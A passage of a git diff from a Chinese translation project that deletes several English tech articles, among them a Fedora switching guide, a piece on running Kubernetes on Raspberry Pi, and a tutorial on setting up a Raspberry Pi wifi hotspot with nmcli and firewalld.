third-party integrations or customer experience problems. - -### Next steps - -We are focusing now on engaging and growing the Cerberus community to accelerate the product's development and adoption. We hold community meetings every two weeks to align the product roadmap and improvements and to balance our product vision with community needs. Improving integrations and usability is vital to producing a successful product experience. - -If you would like to try Cerberus or contribute to the community, please visit our [Cerberus Testing page][8] on GitHub. You can also find us on [LinkedIn][17], [Twitter][18], and [YouTube][19]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/cerberus-test-automation - -作者:[Antoine Craske][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/acraske -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) -[2]: https://www.sogeti.se/utforska/rapporter/world-quality-report-2019-2020/ -[3]: https://cerberus-testing.org/ -[4]: https://opensource.com/sites/default/files/uploads/cerberus_test-lifecycle_0.png (Cerberus supports test lifecycle to accelerate feedback loops) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://en.wikipedia.org/wiki/Cerberus -[7]: https://sourceforge.net/projects/cerberus-source/files/cerberus-testing-4.4/ -[8]: https://github.com/cerberustesting/cerberus-source -[9]: https://opensource.com/sites/default/files/uploads/cerberus_github.png (Cerberus GitHub repository) -[10]: https://enterprisersproject.com/what-is-digital-transformation -[11]: https://laredoute.io/blog/96-successful-daily-web-production-deploy/ -[12]: https://opensource.com/sites/default/files/uploads/cerberus_integrations.png (Cerberus integrations) -[13]: https://www.jenkins.io/ -[14]: https://medium.com/leroymerlin-tech-digital/on-a-construit-une-plateforme-de-test-mobile-b44e2c785c7f -[15]: https://kafka.apache.org/ -[16]: https://opensource.com/sites/default/files/uploads/cerberus_use-cases.png (Cerberus use cases) -[17]: https://www.linkedin.com/company/cerberus-testing/ -[18]: https://twitter.com/cerberustesting -[19]: https://www.youtube.com/channel/UCkG4csTjR0V5gl77BHhldBQ diff --git a/sources/tech/20200805 Matthew Arnold- Why I switched to Fedora.md b/sources/tech/20200805 Matthew Arnold- Why I switched to Fedora.md deleted file mode 100644 index 3386618fdf..0000000000 --- a/sources/tech/20200805 Matthew Arnold- Why I switched to Fedora.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Matthew Arnold: Why I switched to Fedora) -[#]: via: (https://fedoramagazine.org/matthew-arnold-why-i-switched-to-fedora/) -[#]: author: (Matthew Arnold https://fedoramagazine.org/author/marnold512/) - -Matthew Arnold: Why I switched to Fedora -====== - -![][1] - -To a veteran user of other distributions, Fedora can be a challenge. Many things are not where you expect them to be. The default LVM volume allocations are a bit tricky. And packages including the kernel are frequently upgraded. So why switch after years of using other distributions? - -In my case, for a variety of technical and political reasons, Fedora was the best option if I wanted to continue using Linux as my daily driver. If you are making the transition from another distribution, here are some observations and tips to get you started. - -### Firm foundations - -In Fedora you will find a community just as fiercely dedicated to its users and free software as Debian, as fanatical about polish and design as anyone in Ubuntu, and as passionate about learning and discovery as users of Arch or Slackware. Flowing under it all you will find a welcoming community dedicated to technical excellence. The form may change, but underneath all the trappings of _systemd_, _dnf_, _rpm_, and other differences, you will find a thriving healthy and growing community of people who have gathered together to make something awesome. Welcome to Fedora, and I hope you stay awhile. - -The best way to get to know the Fedora community is to explore it for yourself. I hope a future article will highlight some of the more interesting aspects of Fedora for newcomers. Below are a few tips that I have put together to help you find your way around a new Fedora installation. - -### Install and explore - -Installation proceeds as you would expect but be aware that you might want to adjust the LVM volume allocations in the install process or shortly afterwards or you might run low on space in a key place unexpectedly! Btrfs is also a supported option that is worth a look if you have lots of small disks. - -### Freedom matters - -As stated above Fedora has a software freedom commitment similar in spirit to that of Debian. This means that you should be able to give Fedora to anyone, anywhere without violating intellectual property laws. Any software which is either not licensed in a way that Fedora [finds acceptable][2] or that bares US patent encumbrances can be found in the rpmfusion.org repository. - -After the install your next concern is undoubtedly configuring things and installing new packages. Fedora’s command-line package manager is _dnf_. It works as you would expect. - -Note also that since _rpm_ uses file-based dependency tracking instead of package-based dependency tracking, as almost all others do, there are very few traditional metapackages. There are, however, package groups. To get a list of package groups, the command is: - -``` -$ dnf group list -``` - -To get a list of all installed packages on the system, the command is: - -``` -$ rpm -qa -``` - -All _rpm_ commands are easily filterable using traditional Unix tools. So you should have no trouble adapting your workflow to the new environment. All the information gathered with the below commands can also be gathered through the _dnf_ command. For information gathering, I prefer to use the _rpm_ command because it presents information in a way that is easily parseable by commands like _grep_. But if you are making changes to the system, it is easier and safer to use _dnf_. - -To get a package’s version, description, and other metainformation the command is: - -``` -$ rpm -qi -``` - -To list the contents of an installed package the command is: - -``` -$ rpm -ql -``` - -One way in which _rpm_ is easier to use then _dpkg_ or the slack package tools is that _rpm_ stores change log information for each package in the package manager database itself so it is very easy to diagnose whether an update might have broken or changed something unexpectedly. This command is: - -``` -$ rpm -q --changes -``` - -### On the kernel - -Perhaps one of the most exciting differences between Fedora and other projects, for newcomers at least, is Fedora’s policy on the kernel. Fedora’s policy is to align the distribution’s kernel package life cycle with the upstream mainline kernel life cycle. This means that every Fedora release will have multiple major kernel versions during its lifetime. - -This offers several advantages for both users and developers. Primarily, Fedora users are among the first to receive all of the latest drivers, security fixes, new features, etc. - -If you do not have an installation that uses out-of-tree modules or custom patches this should not be much of concern to you. However, if you rely on a kernel module like _zfs_, for example. Rebuilding the filesystem module every 2-3 months can get tedious and error prone after a while. This problem only compounds if you depend upon custom patches for your system to work correctly. There is good news and bad news on this issue. - -The good news is that Fedora’s process for [building a custom kernel is well documented][3] - -The bad news is, as with all things kernel related in all projects, going the custom route means you’re on your own in terms of support. The 2-3 month lifecycle means you’ll be building modules and kernels far more often then you are used to. This may be a deal breaker for some. But even this offers an advantage to the discerning or adventuress user. You will find that being encouraged to rebase your custom kernel setup every two to three months will give you far greater insight into what is going on upstream in mainline Linux and the various out of tree projects you rely on. - -### Conclusion - -Hopefully these tips will get you started exploring and configuring your new Fedora system. Once you have done that. I urge you to explore the community. Like any other free software product of Fedora’s age and size, there are a plethora of communication channels available. You should read the [code of conduct][4] and then head over to the [communication page on the wiki][5] to get started. As with the distribution itself, for all the differences in culture you will find that much remains the same. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/matthew-arnold-why-i-switched-to-fedora/ - -作者:[Matthew Arnold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/marnold512/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/07/fedora-switch-816x345.jpg -[2]: https://fedoraproject.org/wiki/Licensing:Main -[3]: https://fedoraproject.org/wiki/Building_a_custom_kernel -[4]: https://docs.fedoraproject.org/en-US/project/code-of-conduct/ -[5]: https://fedoraproject.org/wiki/Communicating_and_getting_help diff --git a/sources/tech/20200806 5 reasons to run Kubernetes on your Raspberry Pi homelab.md b/sources/tech/20200806 5 reasons to run Kubernetes on your Raspberry Pi homelab.md deleted file mode 100644 index e45973855f..0000000000 --- a/sources/tech/20200806 5 reasons to run Kubernetes on your Raspberry Pi homelab.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 reasons to run Kubernetes on your Raspberry Pi homelab) -[#]: via: (https://opensource.com/article/20/8/kubernetes-raspberry-pi) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -5 reasons to run Kubernetes on your Raspberry Pi homelab -====== -A new free eBook offers step-by-step instructions for creating a private -cloud at home, including what you can do with it when you're done. -![Ship captain sailing the Kubernetes seas][1] - -There's a saying about the cloud, and it goes something like this: _The cloud is just somebody else's computer._ While the cloud is actually more complex than that (it's _a lot_ of computers), there's a lot of truth to the sentiment. When you move to the cloud, you're moving data and services and computing power to an entity you don't own or fully control. On the one hand, this frees you from having to perform administrative tasks you don't want to do, but, on the other hand, it could mean you no longer control your own computer. - -This is why the open source world likes to talk about an [_open hybrid cloud_][2], a model that allows you to choose your own infrastructure, select your own OS, and orchestrate your workloads as you see fit. However, if you don't happen to have an open hybrid cloud available to you, you can create your own—either to help you learn how the cloud works or to serve your local network. - -Building your own cloud requires at least three Raspberry Pi units, an Arm Linux distribution to serve as an OS, and Kubernetes to help you manage the containers your cloud will run. Chris Collins explains every step you need to take to make this happen in our new [eBook][3]. If you've ever built an array of distributed computing nodes, you'll probably be surprised at how simple it is. Sooner than you expect, you'll reach the end of the installation, and you'll inevitably be faced with this question: - -Now what? - -What's the real-world application of a private cloud running on tiny computers in your office? What do you need Kubernetes for, anyway? I used to ask myself the same questions, and I've come up with enough answers to justify a minor investment in a spare Raspberry Pi or two and the time it takes to follow the instructions in Chris' eBook. Here are some ideas for you. - -### Network-attached storage for your home - -If you're a hobbyist just looking to try out the latest tech, one of the easiest entry points is improving your network. Since the Raspberry Pi was released, I've never been without a home server—even during the times my home was just a rented room in the suburbs. My home networks weren't always very complicated, but they ran a few services that I enjoyed having available, so it suited me. - -By following along with Chris' eBook, I've recently added Kubernetes and a few nodes to my network, which give me the ability to add any number of services. I've finally got Network Filesystem (NFS) running, so my partner and I have an easy backup plan and can access shared files as if they existed locally on any computer we're using. I'm also running the open source [Kodi media server][4], so we can watch movies, listen to music, and view photos (all stored on the NFS share) anywhere in the house. A [Nextcloud][5] installation makes collaboration easy, and it also helps us keep in touch with family members in other countries without resorting to the likes of Facebook. - -In short, Kubernetes and the many container images available for easy installs have transformed my local network into my own personal internet or supercomputer. It doesn't provide all services for all people, but it provides exactly the services I want for the people who I want to have access. - -If you're duplicating media or applications across several devices or building a home server, you should consider a Kubernetes cluster. It's easy to scale for power and storage, it's easy to maintain, and it's a lot of fun. - -### Education and upskilling - -Are you considering a career in IT? Are you already in IT but want to grow as a professional? The cloud is a powerful model, and Kubernetes is an easy way to wrangle a lot of potential power. The more you learn about these concepts, the better prepared you'll be to move up in your career. - -One of the most frustrating aspects of the cloud in its early days was its inaccessibility. If you didn't own racks of servers, it was difficult to gain experience administering and maintaining a cloud infrastructure. Thanks to open source projects like [Kubernetes][6], [OKD][7], [LXC][8], and [Podman][9], building your own cloud has become possible. Thanks to the Raspberry Pi and other Arm-based system-on-a-chip (SoC) computers, it's also affordable. - -### Web server - -The internet is one of the most accessible entry points into modern technology. Since the '90s, regular folk have wandered into the strange world of computing by reading HTML in a desperate attempt to understand how to put an animated GIF onto a Myspace or Geocities page. A natural progression from rudimentary HTML and CSS is to run a web server. Admittedly, a Kubernetes cluster probably is overkill for a personal site, but it's a great project to become familiar with how Kubernetes pods work and why they're important. It's also a great way to learn about [routing][10] and load balancing. - -### Containers - -Linux containers have changed IT and computing as a whole. The original [LXC][11] toolset enabled and inspired hugely popular technologies like Docker, Flatpak, Kubernetes, Podman, and more. Containerization is a new model of running code that's showing up on operating systems for desktops and mobile devices. - -The problem is, containers are _different_ from what most users are accustomed to. Traditionally, binaries were compiled according to the operating systems, they were linked to locally available libraries, and they generally had access to everything on the hard drive. [Containers are different][12]. They're miniature runtime environments with binaries run within them, linked to other libraries in the container, and it's all kept separate from the host system unless it's granted a specific exemption. Furthermore, a container is ephemeral. You can create a container and dispose of it arbitrarily. Running a service in a container is a great way to learn how data can be persistent in an environment designed to end and respawn at any moment. - -As painful as that learning curve can be, discovering how easy containerized apps are to install opens a whole new world of possibilities. You can run the [Grafana][13] dashboard, the [Prometheus][14] monitoring software, Discourse, Nextcloud, and a dozen others from prebuilt container definitions or [Helm charts][15]. - -### Web development - -If you're a developer delivering apps for the web, [Kubernetes offers many benefits][16]. It can transform your workflow, and most importantly, it can help make your apps resilient. When you're developing for the cloud, you leverage [the best principles of microservices][17] in the context of containers, and you're able to use the advantages of distributed computing, filesystems, and databases. - -### Try Kubernetes yourself - -If you've learned [the basics][18] of Kubernetes, now's the time to take your knowledge a step further with your very own private cloud. Download our [**free eBook**][3] and start using Kubernetes today. You never know where it will take you. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/kubernetes-raspberry-pi - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://www.redhat.com/en/topics/cloud-computing/what-is-hybrid-cloud -[3]: https://opensource.com/downloads/kubernetes-raspberry-pi -[4]: http://kodi.tv -[5]: https://opensource.com/article/17/5/next-big-challenge-open-source-rich-collaboration-software -[6]: https://kubernetes.io -[7]: https://www.okd.io -[8]: https://linuxcontainers.org/lxc/getting-started -[9]: http://podman.io -[10]: https://opensource.com/article/20/3/kubernetes-traefik -[11]: https://opensource.com/article/18/11/behind-scenes-linux-containers -[12]: https://opensource.com/article/19/6/kubernetes-potential-run-anything -[13]: https://opensource.com/article/19/2/deploy-influxdb-grafana-kubernetes -[14]: https://opensource.com/article/19/11/introduction-monitoring-prometheus -[15]: https://opensource.com/article/20/5/helm-charts -[16]: https://opensource.com/article/19/10/kubernetes-complex-business-problem -[17]: https://opensource.com/article/19/11/microservices-cheat-sheet -[18]: https://opensource.com/article/19/6/kubernetes-basics diff --git a/sources/tech/20200812 Create a wifi hotspot with Raspberry Pi 3 and Fedora.md b/sources/tech/20200812 Create a wifi hotspot with Raspberry Pi 3 and Fedora.md deleted file mode 100644 index 6785ed8936..0000000000 --- a/sources/tech/20200812 Create a wifi hotspot with Raspberry Pi 3 and Fedora.md +++ /dev/null @@ -1,371 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create a wifi hotspot with Raspberry Pi 3 and Fedora) -[#]: via: (https://fedoramagazine.org/create-a-wifi-hotspot-with-raspberry-pi-3-and-fedora/) -[#]: author: (Nick Hardiman https://fedoramagazine.org/author/nickhardiman/) - -Create a wifi hotspot with Raspberry Pi 3 and Fedora -====== - -![][1] - -If you’re already [running Fedora on your Pi][2], you’re already most of the way to a wifi hotspot. A Raspberry Pi has a wifi interface that’s usually set up to join an existing wifi network. This interface can be reconfigured to provide a new wifi network. If a room has a good network cable and a bad wifi signal (a brick wall, foil-backed plasterboard, and even a window with a metal oxide coating are all obstacles), fix it with your Pi. - -This article describes the procedure for setting up the hotspot. It was tested on third generation Pis – a [Model B v1.2][3], and a [Model B+][4] (the older [2][5] and the new [4][6] weren’t tested). These are the credit-card size Pis that have been around a few years. - -This article also delves a little way into the network concepts behind the scenes. For instance, “hotspot” is the term that’s caught on in public places around the world, but it’s more accurate to use the term WLAN AP (Wireless Local Area Network Access Point).In fact, if you want to annoy your friendly neighborhood network administrator, call a hotspot a “wifi router”. The inaccuracy will make their eyes cross. - -A few _nmcli_ commands configure the Raspberry Pi as a wifi AP. The _nmcli_ command-line tool controls the NetworkManager daemon. It’s not the only network configuration system available. More complex solutions are available for the adventurous. Check out the [hostapd][7] RPM package and the [OpenWRT distro][8]. Have a look at [Internet connection sharing with NetworkManager][9] for more ideas. - -### A dive into network administration - -The hotspot is a routed AP (Access Point). It sits between two networks, the current wired network and its new wireless network, and takes care of the post-office-style forwarding of IP packets between them. - -#### Routing and interfaces - -The wireless interface on the Raspberry Pi is named **wlan0** and the wired one is **eth0**. The new wireless network uses one range of IP addresses and the current wired network uses another. In this example, the current network range is 192.168.0.0/24 and the new network range is 10.42.0.0/24. If these numbers make no sense, that’s OK. You can carry on without getting to grips with IP subnets and netmasks. The Raspberry Pi’s two interfaces have IP addresses from these ranges. - -Packets are sent to local computers or remote destinations based on their IP addresses. This is routing work, and it’s where the _routed_ part of _routed AP_ name comes from. If you’d like to build a more complex router with DHCP and DNS, pick up some tips from the article [How to use Fedora Server to create a router / gateway][10]. - -#### It’s not a bridged AP - -Netowrk bridging is another way of extending a network, but it’s not how this Pi is set up. This routed AP is not a bridged AP. To understand the difference between routing and bridging, you have to know a little about the networking layers of the OSI network model. A good place to start is the [beginner’s guide to network troubleshooting in Linux][11]. Here’s the short answer. - - * layer 3, network ← Yes, our routed AP is here. - * layer 2, data link ← No, it’s not a bridged AP. - * layer 1, physical ← Radio transmission is covered here. - - - -A [bridge][12] works at a lower layer of the network stack – it uses ethernet MAC addresses to send data. If this was a bridged AP, it wouldn’t have two sets of IP addresses; the new wireless network and the current wired network would use the same IP subnet. - -#### IP masquerading - -You won’t find an IP address starting with _10._ anywhere on the Internet. It’s a private address, not a public address. To get an IP packet routed out of the wifi network and back in again, packet addresses have to be changed. **IP masquerading** is a way of making this routing work. The masquerade name is used because the packets’ real addresses are hidden. the wired network doesn’t see any addresses from the wireless network. - -IP masquerading is set up automatically by NetworkManager. NetworkManager adds nftables rules to handle [IP masquerading][13]. - -#### The Pi’s network stack - -A stack of network hardware and software makes wifi work. - - * Network hardware - * Kernel space software - * User space software - - - -You can see the network hardware. The Raspberry Pi has two main hardware components – a tiny antenna and Broadcom wifi chip. [MagPi magazine has some great photos][14]. - -Kernel software provides the plumbing. There’s no need to work on these directly – it’s all good to go in the Fedora distribution. - - * [Broadcom driver modules][15] talk to the hardware. List these with the command _lsmod | grep brcm_. - * A TCP/IP stack handles protocols. - * The [netfilter framework][16] filters packets. - * A network system ties these all together. - - - -User space software customizes the system. It’s full of utilities that either help the user, talk to the kernel, or connect other utilities together. For instance, the [firewall-cmd][17] tool talks to the [firewalld service][18], firewalld talks to the [nftables][19] tool, and nftables talks to the netfilter framework in the kernel. The [nmcli][20] commands talk to [NetworkManager][21]. And NetworkManager talks to pretty much everything. - -### Create the AP - -That’s enough theory — let’s get practical. Fire up your Raspberry Pi running Fedora and run these commands. - -#### Install software - -Nearly all the required software is included with the Fedora Minimal image. The only thing missing is the _dnsmasq_ package. This handles the DHCP and IP address part of the new wifi network, automatically. Run this command [using sudo][22]: - -``` -$ sudo dnf install dnsmasq -``` - -#### Create a new NetworkManager connection - -NetworkManager sets up one network connection automatically, _Wired connection 1_. Use the _nmcli_ tool to tell NetworkManager how to add a wifi connection. NetworkManager saves these settings, and a bunch more, in a new config file. - -The new configuration file is created in the directory _/etc/sysconfig/network-scripts/_. At first, it’s empty; the image has no configuration files for network interfaces. If you want to find out more about how NetworkManager uses the _network-scripts_ directory, the gory details are in the [nm-settings-ifcfg-rh man page][23]. - -``` -[nick@raspi ~]$ ls /etc/sysconfig/network-scripts/ -[nick@raspi ~]$ -``` - -The first _nmcli_ command, to create a network connection, looks like this. There’s more to do — the Pi won’t work as a hotspot after running this. - -``` -nmcli con add \ - type wifi \ - ifname wlan0 \ - con-name 'raspi hotspot' \ - autoconnect yes \ - ssid 'raspi wifi' -``` - -The following commands complete several more steps: - - * Create a new connection. - * List the connections. - * Take another look at the _network-scripts_ folder. NetworkManager added a config file. - * List available APs to connect to. - - - -This requires running several commands as root [using _sudo_][22]: - -``` -$ sudo nmcli con add type wifi ifname wlan0 con-name 'raspi hotspot' autoconnect yes ssid 'raspi wifi' -Connection 'raspi wifi' (13ea67a7-a8e6-480c-8a46-3171d9f96554) successfully added. -$ sudo nmcli connection show -NAME UUID TYPE DEVICE -Wired connection 1 59b7f1b5-04e1-3ad8-bde8-386a97e5195d ethernet eth0 -raspi wifi 13ea67a7-a8e6-480c-8a46-3171d9f96554 wifi wlan0 -$ ls /etc/sysconfig/network-scripts/ -ifcfg-raspi_wifi -$ sudo nmcli device wifi list -IN-USE BSSID SSID MODE CHAN RATE SIGNAL BARS SECURITY - 01:0B:03:04:C6:50 APrivateAP Infra 6 195 Mbit/s 52 ▂▄__ WPA2 - 02:B3:54:05:C8:51 SomePublicAP Infra 6 195 Mbit/s 52 ▂▄__ -- -``` - -You can remove the new config and start again with this command: - -``` -$ sudo nmcli con delete 'raspi hotspot' -``` - -#### Change the connection mode - -A NetworkManager connection has many configuration settings. You can see these with the command _nmcli con show ‘raspi hotspot’_. Some of these settings start with the label _802-11-wireless_. This is to do with industry standards that make wifi work – the IEEE organization specified many protocols for wifi, named [802.11][24]. This new wifi connection is in _infrastructure_ mode, ready to connect to a wifi access point. The Pi isn’t supposed to connect to another AP; it’s supposed to be the AP that others connect to. - -This command changes the mode from infrastructure to AP. It also sets a few other [wireless properties][25]. The **bg** value tells NetworkManager to follow two old IEEE standards – [802.11b][26] and [802.11g][27]. Basically it configures the radio to use the 2.4GHz frequency band, not the 5GHz band. **ipv4.method shared** means this connection will be shared with others. - - * Change the connection to a hotspot by changing the mode to _ap_. - - - -``` -sudo nmcli connection \ - modify "raspi hotspot" \ - 802-11-wireless.mode ap \ - 802-11-wireless.band bg \ - ipv4.method shared -``` - -The connection starts automatically. The _dnsmasq_ application gives the wlan0 interface an IP address of 10.42.0.1. The manual commands to start and stop the hotspot are: - -``` -$ sudo nmcli con up "raspi hotspot" -$ sudo nmcli con down "raspi hotspot" -``` - -#### Connect a device - -The next steps are to: - - * Watch the log. - * Connect a smartphone. - * When you’ve seen enough, type ^C ([control][c]) to stop watching the log. - - - -``` -$ journalctl --follow --- Logs begin at Wed 2020-04-01 18:23:45 BST. -- -... -``` - -Use a wifi-enabled device, like your phone. The phone can find the new _raspi wifi_ network. - -Messages about an associating client appear in the activity log: - -``` -Jun 10 18:08:05 raspi wpa_supplicant[662]: wlan0: AP-STA-CONNECTED 94:b0:1f:2e:d2:bd -Jun 10 18:08:05 raspi wpa_supplicant[662]: wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 -Jun 10 18:08:05 raspi dnsmasq-dhcp[713]: DHCPREQUEST(wlan0) 10.42.0.125 94:b0:1f:2e:d2:bd -Jun 10 18:08:05 raspi dnsmasq-dhcp[713]: DHCPACK(wlan0) 10.42.0.125 94:b0:1f:2e:d2:bd nick -``` - -### Examine the firewall - -A new security zone named _nm-shared_ has appeared. This is stopping some wifi access. - -``` -$ sudo firewall-cmd --get-active-zones -[sudo] password for nick: -nm-shared - interfaces: wlan0 -public - interfaces: eth0 -``` - -The new zone is set up to accept everything because the target is _ACCEPT_. Clients are able to use web, mail and SSH to get to the Internet. - -``` -$ sudo firewall-cmd --zone=nm-shared --list-all -nm-shared (active) - target: ACCEPT - icmp-block-inversion: no - interfaces: wlan0 - sources: - services: dhcp dns ssh - ports: - protocols: icmp ipv6-icmp - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - rule priority="32767" reject -``` - -This big list of config settings takes a little examination. - -The first line, the innocent-until-proven-guilty option _target: ACCEPT_ says all traffic is allowed through, unless a rule says otherwise. It’s the same as saying these types of traffic are all OK. - - * inbound packets – requests sent from wifi clients to the Raspberry Pi - * forwarded packets – requests from wifi clients to the Internet - * outbound packets – requests sent by the PI to wifi clients - - - -However, there’s a hidden gotcha: requests from wifi clients (like your workstation) to the Raspberry Pi may be rejected. The final line — the mysterious rule in the _rich rules_ section — refers to the [routing policy database][28]. The rule stops you from connecting from your workstation to your Pi with a command like this: _ssh 10.42.0.1_. This rule only affects traffic sent to to the Raspberry Pi, not traffic sent to the Internet, so browsing the web works fine. - -If an inbound packet matches something in the _services_ and _protocols_ lists, it’s allowed through. NetworkManager automatically adds ICMP, DHCP and DNS (Internet infrastructure services and protocols). An SSH packet doesn’t match, gets as far as the [post-processing][29] stage, and is rejected — _priority=”32767″_ translates as “do this after all the processing is done.” - -If you want to know what’s happening behind the scenes, that rich rule creates an nftables rule. The nftables rule looks like this. - -``` -$ sudo nft list chain inet firewalld filter_IN_nm-shared_post -table inet firewalld { - chain filter_IN_nm-shared_post { - reject - } -} -``` - -#### Fix SSH login - -Connect from your workstation to the Raspberry Pi using SSH.This won’t work because of the rich rule. A protocol that’s not on the list gets instantly rejected. - -Check that SSH is blocked: - -``` -$ ssh 10.42.0.1 -ssh: connect to host 10.42.0.1 port 22: Connection refused -``` - -Next, add SSH to the list of allowed services. If you don’t remember what services are defined, list them all with _firewall-cmd ‐‐get-services_. For SSH, use option _‐‐add-service ssh_ or _‐‐remove-service ssh_. Don’t forget to make the change permanent. - -``` -$ sudo firewall-cmd --add-service ssh --permanent --zone=nm-shared -success -``` - -Now test with SSH again. - -``` -$ ssh 10.42.0.1 -The authenticity of host '10.42.0.1 (10.42.0.1)' can't be established. -ECDSA key fingerprint is SHA256:dDdgJpDSMNKR5h0cnpiegyFGAwGD24Dgjg82/NUC3Bc. -Are you sure you want to continue connecting (yes/no/[fingerprint])? yes -Warning: Permanently added '10.42.0.1' (ECDSA) to the list of known hosts. -Last login: Tue Jun 9 18:58:36 2020 from 10.0.1.35 -nick@10.42.0.1's password: -``` - -SSH access is no longer blocked. - -### Test as a headless computer - -The raspberry pi runs fine as a [headless computer][30]. From here on, you can use SSH to work on your Pi. - - * Power off. - * Remove keyboard and video monitor. - * Power on. - * Wait a couple minutes. - * Connect from your workstation to the Raspberry Pi using SSH. Use either the wired interface or the wireless one; both work. - - - -### Increase security with WPA-PSK - -The WPA-PSK (Wifi Protected Access with Pre-Shared Key) system is designed for home users and small offices. It is password protected. Use nmcli again to add WPA-PSK: - -``` -$ sudo nmcli con modify "raspi hotspot" wifi-sec.key-mgmt wpa-psk -$ sudo nmcli con modify "raspi hotspot" wifi-sec.psk "hotspot-password" -``` - -### Troubleshooting - -Here are a couple recommendations: - - * Mine journalctl, Google and forums. - * Join the [Fedora ARM mailing list][31]. - - - -The bad news is, there are no troubleshooting tips here. There are so many things that can go wrong, there’s no way of covering them. - -Troubleshooting a network stack is tricky. If one component goes wrong, it may all go wrong. And making changes like reloading firewall rules can upset services like NetworkManager and sshd. You know you’re in the weeds when you find yourself running [nftables commands][32] like _nft list ruleset_ and [firewalld commands][33] like _firewall-cmd ‐‐set-log-denied=all_. - -### Play with your new platform - -Add value to your new AP. Since you’re running a Pi, there are many hardware add-ons. Since it’s running Fedora, you have thousands of packages available. Try turning it into a mini-NAS, or adding battery back-up, or perhaps a music player. - -* * * - -_Photo by [Uriel SC][34] on [Unsplash][35]_. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/create-a-wifi-hotspot-with-raspberry-pi-3-and-fedora/ - -作者:[Nick Hardiman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/nickhardiman/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/07/raspi3-wifi-816x345.jpg -[2]: https://fedoramagazine.org/install-fedora-on-a-raspberry-pi/ -[3]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b/ -[4]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/ -[5]: https://www.raspberrypi.org/products/raspberry-pi-2-model-b/ -[6]: https://www.raspberrypi.org/products/raspberry-pi-4-model-b/ -[7]: http://w1.fi/hostapd/ -[8]: https://openwrt.org/toh/raspberry_pi_foundation/raspberry_pi -[9]: https://fedoramagazine.org/internet-connection-sharing-networkmanager/ -[10]: https://fedoramagazine.org/use-fedora-server-create-router-gateway/ -[11]: https://www.redhat.com/sysadmin/beginners-guide-network-troubleshooting-linux -[12]: https://wiki.linuxfoundation.org/networking/bridge -[13]: https://en.wikipedia.org/wiki/Network_address_translation -[14]: https://magpi.raspberrypi.org/articles/raspberry-pi-3-specs-benchmarks -[15]: https://wireless.wiki.kernel.org/en/users/drivers/brcm80211 -[16]: https://www.netfilter.org/ -[17]: https://firewalld.org/documentation/utilities/firewall-cmd.html -[18]: https://firewalld.org/ -[19]: https://firewalld.org/2018/07/nftables-backend -[20]: https://developer.gnome.org/NetworkManager/stable/nmcli.html -[21]: https://wiki.gnome.org/Projects/NetworkManager -[22]: https://fedoramagazine.org/howto-use-sudo/ -[23]: https://people.freedesktop.org/~lkundrak/nm-docs/nm-settings-ifcfg-rh.html -[24]: https://en.wikipedia.org/wiki/IEEE_802.11 -[25]: https://developer.gnome.org/NetworkManager/stable/settings-802-11-wireless.html -[26]: https://en.wikipedia.org/wiki/IEEE_802.11#802.11b -[27]: https://en.wikipedia.org/wiki/IEEE_802.11#802.11g -[28]: https://www.man7.org/linux/man-pages/man8/ip-rule.8.html -[29]: https://firewalld.org/2018/12/rich-rule-priorities -[30]: https://en.wikipedia.org/wiki/Headless_computer -[31]: https://lists.fedoraproject.org/admin/lists/arm.lists.fedoraproject.org/ -[32]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/getting-started-with-nftables_configuring-and-managing-networking -[33]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/using-and-configuring-firewalld_configuring-and-managing-networking -[34]: https://unsplash.com/@urielsc26?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[35]: https://unsplash.com/s/photos/network?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20200812 Why I still love tcsh after all these years.md b/sources/tech/20200812 Why I still love tcsh after all these years.md deleted file mode 100644 